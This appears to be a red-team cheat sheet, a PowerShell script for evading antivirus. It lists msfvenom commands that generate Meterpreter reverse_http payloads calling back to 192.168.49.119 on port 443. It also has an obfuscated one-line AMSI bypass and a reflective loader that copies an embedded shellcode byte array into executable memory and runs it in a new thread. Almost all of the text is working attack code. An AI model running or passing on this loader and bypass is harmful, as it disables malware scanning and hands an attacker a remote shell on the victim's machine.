Fully Custom PowerShell Shellcode X AMSI To Bypass Anti-Virus

Msfvenom Shellcode

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.49.119 LPORT=443 EXITFUNC=thread -f psh1 //x64

msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.49.119 LPORT=443 EXITFUNC=thread -f psh1 //x86

# AMSI
[Ref].Assembly.GetType('System.Management.Automation.Amsi'+[char]85+'tils').GetField('ams'+[char]105+'InitFailed','NonPublic,Static').SetValue($null,$true)

# Shellcode loader >:]
function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
    Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
    @($moduleName)), $functionName))
}

function getDelegateType {
    Param (
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
    [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
    [System.MulticastDelegate])
    $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
    [System.Reflection.CallingConventions]::Standard, $func).
    SetImplementationFlags('Runtime, Managed')
    $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
    SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

# Allocate executable memory
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), 
  (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

# Copy shellcode to allocated memory
# msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.49.119 LPORT=443 EXITFUNC=thread -f psh1
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x41,0x51,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x4d,0x31,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x41,0x58,0x41,0x58,0x48,0x1,0xd0,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xf,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x34,0x39,0x2e,0x31,0x31,0x39,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xb8,0x0,0x0,0x0,0x2f,0x70,0x4b,0x53,0x31,0x61,0x6f,0x50,0x30,0x53,0x6e,0x38,0x59,0x55,0x68,0x6c,0x51,0x66,0x55,0x4b,0x44,0x47,0x51,0x50,0x31,0x49,0x69,0x42,0x47,0x67,0x44,0x6a,0x4c,0x52,0x66,0x4a,0x6c,0x44,0x77,0x6a,0x6a,0x76,0x4e,0x51,0x38,0x69,0x77,0x68,0x6c,0x33,0x31,0x4a,0x48,0x33,0x4d,0x66,0x52,0x70,0x46,0x43,0x50,0x49,0x65,0x32,0x6d,0x4e,0x66,0x49,0x2d,0x6b,0x46,0x71,0x4f,0x31,0x72,0x79,0x73,0x6a,0x47,0x41,0x4f,0x6f,0x72,0x34,0x46,0x42,0x5f,0x30,0x5f,0x73,0x48,0x45,0x53,0x5f,0x53,0x38,0x76,0x51,0x45,0x50,0x61,0x48,0x57,0x36,0x79,0x2d,0x7a,0x4e,0x33,0x50,0x65,0x63,0x47,0x55,0x54,0x34,0x6c,0x48,0x49,0x55,0x34,0x31,0x70,0x56,0x5f,0x6c,0x36,0x30,0x65,0x59,0x38,0x48,0x36,0x6e,0x69,0x4e,0x51,0x79,0x43,0x64,0x38,0x38,0x79,0x70,0x2d,0x54,0x4a,0x36,0x7a,0x51,0x65,0x76,0x69,0x4e,0x5a,0x73,0x4a,0x41,0x71,0x61,0x51,0x4e,0x5a,0x39,0x35,0x37,0x37,0x45,0x42,0x48,0x4c,0x72,0x33,0x6b,0x58,0x37,0x6c,0x43,0x69,0x76,0x38,0x57,0x59,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x2,0x28,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xcc,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0x89,0xda,0xff,0xd5
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

# Execute shellcode and wait for it to exit
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),
  (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),
  (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)